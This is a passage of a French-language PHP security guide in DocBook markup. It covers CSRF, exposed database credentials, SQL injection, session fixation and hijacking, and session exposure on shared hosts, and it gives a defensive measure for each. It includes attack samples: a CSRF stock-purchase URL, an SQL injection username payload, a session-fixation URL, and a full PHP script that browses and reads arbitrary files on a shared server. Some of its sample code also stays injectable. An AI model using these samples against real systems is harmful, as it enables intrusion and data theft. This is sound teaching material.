<programlisting>
<![CDATA[HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57

<html>
<img src="http://example.org/image.png" />
</html>]]>
</programlisting>
<para>Le contenu de la réponse est ce que vous voyez quand vous
visualiser le code source dans un navigateur. La balise (tag) 
<literal>img</literal> dans cette réponse particulière prévient le
navigateur du fait qu'une autre ressource (une image) est nécessaire
pour effectuer un rendu correct de la page. Le navigateur demande cette
ressource comme il le ferait pour toute autre ressource. Ceci est un
example d'une telle requête:</para>
<programlisting>
<![CDATA[GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*]]>
</programlisting>
<para>Ceci mérite d'attirer votre attention. Le navigateur demande l'URL
spécifiée dans l'attribut <literal>src</literal> de la balise
<literal>img</literal>, exactement comme si l'utilisateur avait demandé
manuellement de naviguer là. Le navigateur n'a aucun moyen d'indiquer
qu'il s'attend spécifiquement à recevoir une image.</para>
<para>Combinez cela avec ce que vous avez appris au sujet des
formulaires, puis considérez une URL similaire à celle
ci:</para><programlisting>
<![CDATA[http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000]]>
</programlisting>
<para>La soumission d'un formulaire qui utilise la méthode
<literal>GET</literal> est potentiellement indistinguable d'une requête
pour une image - les deux peuvent être des requêtes pour le même URL. Si
<literal>register_globals</literal> est activé, la méthode utilisée par
le formulaire n'est même plus importante (à moins que le développeur
n'utilise toujours <literal>$_POST</literal> etc). Les dangers
commencent déjà à devenir clairs, j'espère.</para>
<para>Une autre caractéristique qui rendent si puissantes les attaques
CSRF est que tout cookie appartenant à un URL est inclus dans la requête
pour cet URL. Un utilisateur qui a établi une relation avec
<literal>stocks.example.org</literal> (comme être logué) peut
potentiellement acheter <literal>1000</literal> actions de
<literal>SCOX</literal> en visitant une page avec une balise
<literal>img</literal> qui spécifie l'URL de l'exemple précédent.</para>
<para>Considérez le formulaire suivant, situé hypothétiquement à
<literal>http://stocks.example.org/form.html</literal>:</para>
<programlisting>
<![CDATA[<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>]]>
</programlisting>
<para>Si l'utilisateur entre <literal>SCOX</literal> comme symbole,
<literal>1000</literal> comme quantité, et soumets le formulaire, la
requête envoyée par le navigateur est similaire à la suivante:</para>
<programlisting>
<![CDATA[GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234]]>
</programlisting>
<para>J'inclus un en-tête (header) <literal>Cookie</literal> dans cet
exemple, pour illustrer le fait que l'application utilise un cookie pour
l'identifiant de session. Si une balise <literal>img</literal> référence
le même URL, le même cookie sera envoyé dans la requête pour cet URL, et
le serveur qui traite la requête ne sera pas capable de distinguer ceci
d'une véritable commande.</para>
<para>Il existe plusieurs choses que vous pouvez faire pour protéger vos
applications contre les CSRF:</para>
<itemizedlist>
    <listitem>
	<para>Utilisez <literal>POST</literal> plutôt que
	<literal>GET</literal> dans les formulaires. Spécifiez
	<literal>POST</literal> dans l'attribut 'method' de vos
	formulaires. Bien sûr, ceci n'est pas approprié pour tous vos
	formulaires, mais bien pour ceux qui exécutent une action,
	telle que l'achat d'actions. En réalité, la spécification HTTP
	requiert que <literal>GET</literal> soit considéré come
	sûr.</para>
    </listitem>
    <listitem>
        <para>Utilisez <literal>$_POST</literal> plutôt que de vous fier
	à <literal>register_globals</literal>. Utiliser la méthode
	<literal>POST</literal> pour la soumission de formulaires ne
	sert à rien si vous comptez sur
	<literal>register_globals</literal> et que vous référencez des
	variables de formulaires comme <literal>$symbol</literal> et
	<literal>$quantity</literal>. C'est aussi inutile si vous
	utilisez <literal>$_REQUEST.</literal></para>
    </listitem>
    <listitem>
        <para>Ne vous concentrez pas sur la commodité.</para>
        <para>Bien qu'il semble souhaitable de rendre aussi pratique que
	possible l'expérience des utilisateurs, trop de commodité peut
	avoir de sérieuses conséquences. Bien que des approches
	"one-click" puissent être rendues très sécurisées, une
	implémentation simple sera vraisemblablement vulnérable aux
	CSRF.</para>
    </listitem>
    <listitem>
        <para>Forcez l'utilisation de vos propres formulaires.</para>
        <para>Le plus gros problèmes avec CSRF est d'avoir des requêtes
	qui ressemblent à des soumissions de formulaires, mais n'en sont
	pas. Si un utilisateur n'a pas demandé la page contenant le
	formulaire, devriez-vous supposer qu'une requête qui ressemble à
	la soumission d'un formulaire soit légitime et voulue?
        </para>
    </listitem>
</itemizedlist>
<para>Maintenant, nous pouvons écrire un tableau d'affichage (message
board) encore plus sécurisé:</para>
<programlisting>
<![CDATA[<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>]]>
</programlisting>
<para>Ce tableau d'affichage (message board) comporte toujours quelques
vulnérabilités de sécurité. Pouvez-vous les identifier?</para>
<para>Le temps est extrêmement prévisible. Utiliser un digest MD5 d'un
timestamp est une mauvaise excuse pour ne pas utiliser un nombre
aléatoire. De meilleures fonctions incluent
<literal>uniqid()</literal> et <literal>rand()</literal>.</para>
<para>Plus important, il est trivial pour un attaquant d'obtenir un
token valide. En visitant simplement cette page, un token valide est
généré et inclus dans le source. Avec un token valide, l'attaque est
aussi simple qu'avant l'ajout du token obligatoire.
</para>
<para>Voici un tableau d'affichage amélioré:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (isset($_POST['message']))
{
    if ($_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

readfile('./messages.txt');

?>]]>
</programlisting>
</sect1>
</chapter>

<chapter id="DATABASES-AND-SQL">
<title>Bases de données et SQL</title>

<sect1 id="EXPOSED-ACCESS-CREDENTIALS">
<title>Autorisations d'accès exposées</title>
<para>La plupart des applications PHP interagissent avec une base de
données. Cela implique de se connecter à un serveur de base données et 
d'utiliser ses autorisations d'accès (access credentials) pour
s'identifier:</para>
<programlisting>
<![CDATA[<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>]]>
</programlisting>
<para>Ceci pourrait être l'exemple d'un fichier nommé
<literal>db.inc</literal>, inclus à chaque fois qu'il faut se connecter
à la base de données. Cette approche est pratique, et rassemble les
autorisations d'accès dans un seul fichier.</para>
<para>Des problèmes potentiels se posent lorsque ce fichier se situe à
l'intérieur de la racine web (document root). Cette approche est
répandue, car elle simplifie beaucoup les instructions
<literal>include</literal> et <literal>require</literal>. Cependant,
cela peut amener à des situations qui exposent vos autorisations d'accès
(access credentials).</para>
<para>Rappelez-vous que tout ce qui se trouve en-dessous de la racine
web est associé à un URL. Par exemple, si la racine web (document root)
est <literal>/usr/local/apache/htdocs</literal>, alors le
fichier <literal>/usr/local/apache/htdocs/inc/db.inc</literal> possède
un URL du genre <literal>http://example.org/inc/db.inc</literal>.</para>
<para>Combinez ceci avec le fait que la plupart des serveurs web
traitent les fichiers <literal>.inc</literal> comme du simple texte
(plaintext), et le risque d'exposer vos autorisations d'accès devrait
apparaître clairement. Un problème plus important est que le code source
de ces modules peut être exposé, mais les autorisations d'accès sont
particulièrement sensibles.</para>
<para>Bien entendu, placer tous les modules en-dehors de la racine web
est une solution simple, et c'est une bonne façon de faire. Les
instructions <literal>include</literal> et <literal>require</literal>
acceptent toutes deux les chemins d'accès (path) vers le système de
fichier. Il n'est donc pas indispensable de rendre les modules
accessibles via un URL : c'est un risque inutile.</para>
<para>Si vous ne pouvez pas choisir l'emplacement de vos modules et
qu'ils doivent se trouver sous la racine web, vous pouvez placer
quelque chose de ce genre dans votre fichier
<literal>httpd.conf</literal> (en supposant un serveur Apache):</para>
<programlisting>
<![CDATA[<Files ~ "\.inc$">
    Order allow,deny
    Deny from all
</Files>]]>
</programlisting>
<para>Ce n'est pas une bonne idée de laisser le moteur PHP traiter vos
modules. Ceci inclut le fait de renommer de vos modules pour qu'ils
prennent l'extension <literal>.php</literal>, ainsi que d'utiliser
la directive <literal>AddType</literal> pour traiter les fichiers
<literal>.inc</literal> comme des fichiers PHP. Exécuter du code
en-dehors de son contexte peut s'avérer très dangereux, parce que
ce n'est pas prévu et que cela peut engendrer des résultats inconnus.
Cependant, si vos modules ne sont que des affectations de variables (par
exemple), ce risque particulier est atténué.</para>
<para>Ma méthode préférée pour protéger les autorisations d'accès aux
bases de données est décrite dans le livre PHP Cookbook (éditions
O'Reilly), par David Sklar et Adam Trachtenberg.
Créez un fichier <literal>/path/to/secret-stuff</literal> que seul
<literal>root</literal> peut lire (et pas
<literal>nobody</literal>):</para>
<programlisting>
<![CDATA[SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"]]>
</programlisting>
<para>Incluez ce fichier dans <literal>httpd.conf</literal> de cette
manière:</para>
<programlisting>
<![CDATA[Include "/path/to/secret-stuff"]]>
</programlisting>
<para>Désormais, vous pouvez utiliser
<literal>$_SERVER['DB_USER']</literal> et
<literal>$_SERVER['DB_PASS']</literal> dans votre code. Non seulement
vous ne devrez plus écrire vos noms d'utilisateurs et mots de passe dans
vos scripts, mais de plus le serveur web ne pourra pas lire le fichier
<literal>secret-stuff</literal>, de sorte qu'aucun autre utilisateur ne
pourra rédiger de script pour lire vos autorisations d'accès (quel que
soit le langage de programmation). Il faut simplement être
attentif à ne pas exposer ces variables à cause de quelque chose comme
<literal>phpinfo()</literal> ou
<literal>print_r($_SERVER)</literal>.</para>
</sect1>

<sect1 id="SQL-INJECTION">
<title>Injection de code SQL</title>
<para>Il ext extrêmement simple de se défendre contre les attaques par
injection de code SQL, mais de nombreuses applications sont toujours
vulnérables. Considérez la requête SQL suivante:
</para>
<programlisting>
<![CDATA[<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES ('{$_POST['reg_username']}',
                '$reg_password',
                '{$_POST['reg_email']}')";

?>]]>
</programlisting>
<para>Cette requête est bâtie sur <literal>$_POST</literal>, ce qui
devrait paraître immédiatement suspect.</para>
<para>Supposez que cette requête crée un nouveau compte utilisateur
(account).  L'utilisateur fournit les noms d'utilisateur et adresse
mail qu'il souhaite. L'application d'enregistrement crée un mot de
passe temporaire, puis l'envoie par mail à l'utilisateur, pour vérifier
son adresse mail. Imaginez que l'utilisateur entre ceci comme nom
d'utilisateur:
</para>
<programlisting>
<![CDATA[bad_guy', 'mypass', ''), ('good_guy]]>
</programlisting>
<para>Ceci ne ressemble certainement pas à un nom d'utilisateur valide,
mais l'application ne peut pas s'en rendre compte sans mise en place
d'un filtrage des données. Si l'adresse mail fournie est valide
(<literal>shiflett@php.net</literal>, par exemple), et que l'application
génère <literal>1234</literal> comme mot de passe, alors la requête SQL
devient ceci:</para>
<programlisting>
<![CDATA[
<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES ('bad_guy', 'mypass', ''), ('good_guy',
                '1234',
                'shiflett@php.net')"; ?>
]]>
</programlisting>
<para>Plutôt que de procéder comme prévu à la création d'un seul
compte utilisateur (<literal>good_guy</literal>) avec une adresse mail
valide, l'application s'est fait avoir, a créé deux comptes utilisateur,
et l'utilisateur a fourni tous les détails du compte
<literal>bad_guy</literal>.</para>
<para>Bien que cet exemple particulier puisse ne pas sembler très
dangereux, il devrait être clair que des choses pires pourraient
arriver si un attaquant peut modifier vos requêtes SQL.</para>
<para>Par exemple, en fonction de la base de données que vous utilisez,
il pourrait être possible d'envoyer en un seul appel plusieurs requêtes
au serveur de bases de données. Donc, un utilisateur pourrait
éventuellement terminer une requête existante par un point-virgule et
la continuer avec une requête de son choix.</para>
<para>Jusque récemment, MySQL ne permettait pas les requêtes multiples,
et ce risque particulier était amoindri. Les dernières versions de MySQL
permettent les requêtes multiples, mais l'extension PHP
correspondante (<literal>ext/mysqli</literal>) vous oblige à utiliser
une fonction particulière si vous voulez envoyer des requêtes multiples
(<literal>mysqli_multi_query()</literal> au lieu de
<literal>mysqli_query()</literal>). Ne permettre que les requêtes
simples est plus sûr, puisque ça limite ce qu'un attaquant pourrait
faire.</para>
<para>Il est facile de se protéger contre les injections de SQL:</para>
<itemizedlist>
    <listitem>
        <para>Filtrez vos données.</para>
        <para>On ne saurait trop insister. Une fois un bon
	filtrage de données en place, la plupart des soucis de sécurité
	sont réduits, et certains sont pratiquement éliminés.</para>
    </listitem>
    <listitem>
        <para>Placez vos données entre apostrophes.</para>
        <para>Si votre base de données le permet (c'est le cas de
	MySQL), entourez par des apostrophes toutes les valeurs dans vos
	requêtes SQL, quel que soit leur type de donnée.</para>
    </listitem>
    <listitem>
	<para>Utilisez des séquences d'échappement pour vos
	données.</para>
        <para>Parfois, des données valides peuvent interférer
	involontairement avec le format même des requêtes SQL.
	Utilisez <literal>mysql_escape_string()</literal> ou une
	fonction d'échappement native à votre base de données
	particulière. S'il n'en existe spécifiquement aucune, la
	fonction <literal>addslashes()</literal> est un bon dernier
	recours.</para>
    </listitem>
</itemizedlist>
</sect1>
</chapter>

<chapter id="SESSIONS">
<title>Les sessions</title>

<sect1 id="SESSION-FIXATION">
<title>Fixation de session</title>
<para>La sécurité des sessions est un sujet sophistiqué, et il n'est pas
surprenant que les sessions constituent fréquemment une cible d'attaque.
La plupart des attaques de session impliquent une usurpation d'identité
(impersonation), par laquelle l'attaquant tente d'accéder à la session
d'un autre utilisateur pour se faire passer pour cet utilisateur.
</para>
<para>L'élément d'information le plus décisif pour un attaquant est
l'identifiant de session, parce qu'il est indispensable pour toute
attaque par usurpation d'identité. Il existe trois méthodes communément
utilisées pour obtenir un identifiant de session valide:</para>
<itemizedlist>
    <listitem><para>Prédiction</para></listitem>
    <listitem><para>Capture</para></listitem>
    <listitem><para>Fixation</para></listitem>
</itemizedlist>
<para>La prédiction se rapporte au fait de deviner un identifiant de
session valide. Avec le mécanisme natif des sessions PHP, l'identifiant
de session est extrêmement aléatoire, et il est très improbable que ceci
constitue le point le plus faible de votre implémentation.</para>
<para>Capturer un identifiant de session valide est le type d'attaque de
session le plus répandu, et il existe de nombreuses approches pour ce
faire. Puisque les identifiants de session sont typiquement propagés via
les cookies ou les variables <literal>GET</literal>, les différentes
approches se concentrent sur les attaques contre ces méthodes de
transfert. Malgré l'existence de quelques failles concernant les cookies
dans les navigateurs, elles étaient principalement le fait d'Internet
Explorer. Et les cookies sont légèrement moins exposés que les variables
GET. Donc, vous pouvez fournir aux utilisateurs qui acceptent les
cookies un mécanisme plus sécurisé, en utilisant un cookie pour propager
l'identifiant de session.</para>
<para>La fixation est la méthode la plus simple pour obtenir un
identifiant de session valide. Même s'il n'est pas très difficile de se
défendre contre cela, vous êtes vulnérables si votre gestion de session
ne consiste en rien de plus que
<literal>session_start()</literal>.</para>
<para>Pour montrer une fixation de session, je vais utiliser le script
suivant, <literal>session.php</literal>:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}

echo $_SESSION['visits'];

?>]]>
</programlisting>
<para>A la première visite de cette page, vous devriez voir affiché le
nombre <literal>1</literal> à l'écran. Lors des visites suivantes, ce
nombre devrait augmenter pour refléter le nombre de fois que vous avez
visité la page.</para>
<para>Pour démontrer la fixation de session, assurez-vous d'abord que
vous n'avez pas d'identifiant de session existant (effacez peut-être vos
cookies). Ensuite, visitez cette page en ajoutant
<literal>?PHPSESSID=1234</literal> à l'URL. Ensuite, avec un navigateur
complètement différent (ou même un ordinateur complètement différent),
visitez à nouveau le même URL, avec <literal>?PHPSESSID=1234</literal>
ajouté à la fin. Vous vous apercevrez que vous ne verrez pas affiché le
nombre <literal>1</literal> lors de votre première visite, mais que vous
continuez plutôt la session initiée précédemment.</para>
<para>Pourquoi cela peut-il être problématique? La plupart des attaques
par fixation de session utilisent simplement un lien ou une redirection
(au niveau du protocole) pour envoyer l'utilisateur sur un site distant
avec un identifiant de session ajouté à l'URL. L'utilisateur ne s'en
apercevra probablement pas, puisque le site se comportera exactement
comme avant. Puisque l'attaquant a choisi l'identifiant de session,
ce dernier est déjà connu, et peut être utilisé pour lancer un attaque
d'usurpation d'identité (impersonation), telle qu'un détournement de
session (session hijacking).</para>
<para>Il est assez facile d'empêcher une attaque aussi simpliste que
celle-ci. S'il n'existe aucune session active associée à l'identifiant
de session présenté par l'utilisateur, alors regénérez-le, juste pour
être certain.</para>
<programlisting>
<![CDATA[<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>]]>
</programlisting>
<para>Le problème d'une défense si simpliste est qu'un attaquant peut
simplement initier une session pour un identifiant de session
particulier, et ensuite utiliser cet identifiant pour lancer l'attaque.
</para>
<para>Pour vous protéger contre ce type d'attaque, considérer d'abord
que le détournement de session n'est véritablement utile qu'une fois que
l'utilisateur s'est logué ou a obtenu un niveau plus élevé de
privilèges. Ainsi, si l'on modifie l'approche, pour regénérer un
identifiant de session chaque fois que le niveau de privilège change
(par exemple, après avoir vérifié le nom d'utilisateur et le mot de
passe), nous aurons pratiquement éliminé le risque d'une attaque réussie
par fixation de session.</para>
</sect1>

<sect1 id="SESSION-HIJACKING">
<title>Détournement de session</title>
<para>
Le détournement de session, que l'on peut soutenir comme la plus
répandue des attaques de session, se rapporte à toutes les attaques
visant à accéder à la session d'un autre utilisateur.</para>
<para>Comme pour la fixation de session, vous êtes vulnérable si votre
gestion de session consiste simplement en
<literal>session_start()</literal>, bien qu'exploiter cela ne soit pas
aussi simple.</para>
<para>Plutôt que de se concentrer sur la manière d'empêcher que
l'identifiant de session ne soit capturé, je vais me concentrer sur la
manière de rendre une telle capture moins problématique. Le but est de
compliquer l'usurpation d'identité (impersonation), puisque chaque
complication augmente le niveau de sécurité. A cet effet, nous allons
examiner les étapes nécessaires à la réussite d'un détournement de
session. Dans chaque scénario, nous supposerons que l'identifiant de
session a été compromis.
</para>
<para>Avec une gestion de session des plus simplistes, la réussite d'un
détournement de session ne nécessite qu'un identifiant de session
valide. Pour améliorer cela, nous devons savoir s'il existe quelque
chose de plus dans la requête HTTP que nous pourrions utiliser pour une
identification supplémentaire.</para>
<note><para>Il n'est pas raisonnable de se fier à quoi que ce soit au
niveau TCP/IP, par exemple l'adresse IP, car ce sont des protocoles de
niveau plus bas, non destinés à satisfaire des activités se déroulant au
niveau de HTTP. Un seul utilisateur est susceptible d'avoir une IP
différente à chaque requête, et plusieurs utilisateurs pourraient avoir
la même adresse IP.</para></note>
<para>Rappelez-vous une requête HTTP typique:</para>
<programlisting>
<![CDATA[GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234]]>
</programlisting>
<para>Seul l'en-tête <literal>Host</literal> est requis par
<literal>HTTP/1.1</literal>. Il semble donc déraisonnable de se fier à
quoi que ce soit d'autre. Cependant, la cohérence est vraiment tout ce
dont nous avons besoin, puisque nous sommes seulement intéressés à
compliquer l'usurpation d'identité, sans affecter défavorablement les
utilisateurs légitimes.</para>
<para>Imaginez que la requête précédente soit suivie par une requête
avec un <literal>User-Agent</literal> différent :</para>
<programlisting>
<![CDATA[GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234]]>
</programlisting>
<para>Même si le même cookie est présenté, devrait-on supposer qu'il
s'agit du même utilisateur? Il semble très improbable qu'un navigateur
change son en-tête <literal>User-Agent</literal> entre deux requêtes.
Correct, non? Modifions la gestion de session pour effectuer une
vérification supplémentaire:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}

?>]]>
</programlisting>
<para>Désormais, l'attaquant doit non seulement présenter un identifiant
de session valide, mais aussi l'en-tête <literal>User-Agent</literal>
correct, associé à la session. Ceci complique légèrement les choses, et
est par conséquent un peu plus sécurisé.</para>
<para>Pourrait-on améliorer cela? Considérez que la méthode la plus
répandue pour obtenir les valeurs d'un cookie est d'exploiter une
vulnérabilité d'un navigateur comme Internet Explorer. Ces exploits
impliquent que la victime visite un site de l'attaquant, et donc
l'attaquant sera capable d'obtenir l'en-tête
<literal>User-Agent</literal> correct.</para>
<para>Imaginez que nous forcions l'utilisateur à passer le hash MD5 du
<literal>User-Agent</literal> à chaque requête. L'attaquant ne pourrait
plus simplement recréer les en-têtes que contiennent les requêtes de la
victime, mais il serait également nécessaire de passer cette petite
information supplémentaire. Bien qu'il ne soit pas trop difficile de
deviner la construction de cet élément (token) particulier, nous
pouvons compliquer ce travail d'estimation en ajoutant simplement un
petit peu de hasard à la manière dont nous construisons l'élément
(token):</para>
<programlisting>
<![CDATA[<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>]]>
</programlisting>
<para>En gardant à l'esprit que nous passons l'identifiant de session
dans un cookie, ce qui requiert déjà qu'une attaque ait été utilisée
pour compromettre ce cookie (et vraisemblablement toutes les en-têtes
HTTP également), nous devrions passer cette empreinte (fingerprint) dans
une variable d'URL. Celle-ci devrait se trouver dans toutes les URLs,
comme s'il s'agissait de l'identifiant de session, car les deux
devraient être requis pour que la session se poursuive automatiquement
(en plus de réussir toutes les vérifications).</para>
<para>Pour s'assurer que les utilisateurs légitimes ne soient pas
traités comme des criminels, demandez simplement un mot de passe si une
vérification échoue. Si une erreur dans votre mécanisme suspecte
erronément un utilisateur d'une attaque par usurpation d'identité,
demander un mot de passe avant de poursuivre est la manière la moins
offensante de gérer la situation. En réalité, vos utilisateurs
apprécieront peut-être la petite protection supplémentaire mise en
évidence par une telle requête.</para>
<para>Il existe de nombreuses méthodes différentes que vous pouvez
utiliser pour compliquer l'usurpation d'identité et protéger vos
applications des détournements de session. J'espère que vous ferez
au-moins quelque chose de plus que <literal>session_start()</literal>,
et que vous serez capables d'émettre vos propres idées. Rappelez-vous
simplement de rendre les choses difficiles aux méchants (bad guys), mais
simples pour les gentils (good guys).</para>
<note><para>Certains experts affirment que l'en-tête
<literal>User-Agent</literal> n'est pas assez cohérent
pour être utilisé de la manière décrite. L'argument est qu'un proxy HTTP
dans un cluster peut modifier l'en-tête <literal>User-Agent</literal> de
manière non cohérente avec les autres proxies du même cluster. Bien
que je n'aie jamais observé cela moi-même (et sois à l'aise en me fiant
à la cohérence de <literal>User-Agent</literal>), c'est
quelque chose que vous pourriez vouloir envisager.</para>
<para>L'en-tête <literal>Accept</literal> a été connu pour changer de
requête en requête dans Internet Explorer (selon que l'utilisateur
rafraîchit ou non son navigateur). Ainsi, on ne devrait pas compter
dessus pour la cohérence.</para></note>
</sect1>
</chapter>

<chapter id="SHARED-HOSTS">
<title>Hôtes partagés (Shared Hosts)</title>

<sect1 id="EXPOSED-SESSION-DATA">
<title>Données de session exposées</title>
<para>Sur un hôte partagé, la sécurité ne sera simplement pas aussi
forte que sur un serveur dédié. C'est l'un des inconvénients de la
redevance bon marché (inexpensive fee).</para>
<para>Un aspect particulièrement vulnérable du hosting partagé est
d'avoir un stockage de session (session store) partagé. Par défaut, PHP
stocke les données de session dans <literal>/tmp</literal>, et c'est
vrai pour tout le monde. Vous trouverez que la plupart des personnes se
tiennent aux comportement par défaut pour beaucoup de choses, et les
sessions ne font pas exception. Heureusement, tout le monde ne peut pas
lire les fichiers de session, car ils ne sont lisibles que par le
serveur web:</para>
<programlisting>
<![CDATA[$ ls /tmp
total 12
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$]]>
</programlisting>
<para>Malheureusement, il est assez trivial de rédiger un script PHP
pour lire ces fichiers, et puisqu'il tourne sous l'utilisateur
<literal>nobody</literal> (ou tout utilisateur sous lequel tourne le
serveur web) web), il possède les privilèges nécessaires.</para>
<para>La directive <literal>safe_mode</literal> peut empêcher cela et
d'autres soucis similaires de sécurité. Mais vu qu'elle ne s'applique
qu'à PHP, elle ne s'attaque pas à la cause à l'origine du problème. Les
attaquants peuvent simplement employer d'autres langages.</para>
<para>Quelle serait une meilleure solution? N'utilisez pas le même
stockage de session que tous les autres. De préférence, stockez-le dans
une base de données dont les autorisations d'accès sont propres à votre
compte utilisateur (account). Pour cela, utilisez simplement la fonction 
<literal>session_set_save_handler()</literal> pour écraser la gestion de
session par défaut de PHP par vos propres fonctions PHP.</para>
<para>Le code suivant montre un exemple simpliste pour stocker les
sessions dans une base de données:</para>
<programlisting>
<![CDATA[<?php

session_set_save_handler('open', 'close', 'read', 'write', 'destroy', 'clean');

function open()
{
    global $_sess_db;

    if ($sess_db = mysql_connect('127.0.0.1', 'myuser', 'mypass'))
    {
        return mysql_select_db('sessions', $_sess_db);
    }

    return false;
}

function close()
{
    global $_sess_db;

    return mysql_close($_sess_db);
}

function read($id)
{
    global $_sess_db;

    $sql = "SELECT data
            FROM   sessions
            WHERE  id = '$id'";

    if ($result = mysql_query($sql, $_sess_db))
    {
        $record = mysql_fetch_assoc($result);

        return $record['data'];
    }

    return false;
}

function write($id, $data)
{
    global $_sess_db;

    $access = time();
    $data = mysql_escape_string($data);
    $sql = "REPLACE
            INTO    sessions
            VALUES  ('$id', '$access', '$data')";

    return mysql_query($sql, $_sess_db);
}

function destroy($id)
{
    global $_sess_db;

    $sql = "DELETE
            FROM   sessions
            WHERE  id = '$id'";

    return mysql_query($sql, $_sess_db);
}

function clean($max)
{
    global $_sess_db;

    $old = time() - $max;

    $sql = "delete from sessions where access < '$old'";

    return mysql_query($sql, $_sess_db);
}

?>]]>
</programlisting>
<para>Ceci requiert une table existante nommée
<literal>sessions</literal>, dont le format est le suivant:</para>
<programlisting>
<![CDATA[mysql> DESCRIBE sessions;
+--------+------------------+------+-----+---------+-------+
| Field  | Type             | Null | Key | Default | Extra |
+--------+------------------+------+-----+---------+-------+
| id     | varchar(32)      |      | PRI |         |       |
| access | int(10) unsigned | YES  |     | NULL    |       |
| data   | text             | YES  |     | NULL    |       |
+--------+------------------+------+-----+---------+-------+]]>
</programlisting>
<para>Cette base de données peut être créée en MySQL avec la syntaxe
suivante:</para>
<programlisting>
<![CDATA[CREATE TABLE sessions
(
    id varchar(32) NOT NULL,
    access int(10) unsigned,
    data text,
    PRIMARY KEY (id)
);]]>
</programlisting>
<para>Stocker vos sessions dans une base de données place la confiance
dans la sécurité de votre base de données. Rappelez-vous des leçons
apprises lorsque nous parlions des bases de données et de SQL, car elles
s'appliquent ici.</para>
</sect1>

<sect1 id="BROWSING-THE-FILESYSTEM">
<title>Naviguer dans le système de fichiers</title>
<para>Juste pour le fun, regardons un script qui navigue dans le système
de fichier:</para>
<programlisting>
<![CDATA[<?php

echo "<pre>\n";

if (ini_get('safe_mode'))
{
    echo "[safe_mode enabled]\n\n";
}
else
{
    echo "[safe_mode disabled]\n\n";
}

if (isset($_GET['dir']))
{
    ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
    cat($_GET['file']);
}
else
{
    ls('/');
}

echo "</pre>\n";

function ls($dir)
{
    $handle = dir($dir);

    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");

        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SE LF']}?dir=$dir$filename/\">$filename/</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= "$filename/";
            }
        }
        else
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SELF']}?file=$dir$filename\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= $filename;
            }
        }

        echo "$line\n";
    }

    $handle->close();
}

function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}

?>]]>
</programlisting>
<para>La directive <literal>safe_mode</literal> peut empêcher ce script
particulier de fonctionner, mais que dire d'un script rédigé dans un
autre langage?</para>
<para>Une bonne solution consiste à stocker les données sensibles dans
une base de données et d'utiliser la technique mentionnée plus tôt (où
<literal>$_SERVER['DB_USER']</literal> et
<literal>$_SERVER['DB_PASS']</literal> contiennent les autorisations
d'accès) pour protéger vos autorisations d'accès à la base de
données.</para>
<para>La meilleure solution est d'utiliser un serveur dédié.</para>
</sect1>
</chapter>

<chapter id="ABOUT">
<title>A propos de</title>

<sect1 id="ABOUT-THIS-GUIDE">
